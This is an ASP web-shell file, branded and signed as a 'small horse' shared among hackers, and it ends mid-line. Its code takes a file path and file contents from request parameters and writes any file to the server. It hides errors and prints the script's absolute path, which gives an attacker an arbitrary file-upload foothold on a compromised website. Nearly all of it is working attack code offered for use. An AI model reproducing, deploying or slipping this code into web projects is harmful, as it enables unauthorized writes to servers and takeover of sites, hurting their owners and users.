<%
Name="[花谢/叻]专用ASP小马（[花谢/叻]）" '名字
Copyright="｛交流黑客技术｜共享黑客资源｝" '版权
url="http://huaxiel.cn" '网址
imgurl="http://misshua.aishuju.com/hua.jpg" '图片
Sub RRS(str):response.write(str):End Sub
RRS""
RRS""
RRS"[花谢/叻]专用ASP小马（[花谢/叻]）"
dim objFSO,fdata,objCountFile
on error resume next
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
objCountFile.Write fdata
if err =0 then response.write "保存成功!"
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
response.write " "
response.write "本文件绝对路径"
server.mappath(request.servervariables("script_name"))
response.write " "
RRS"
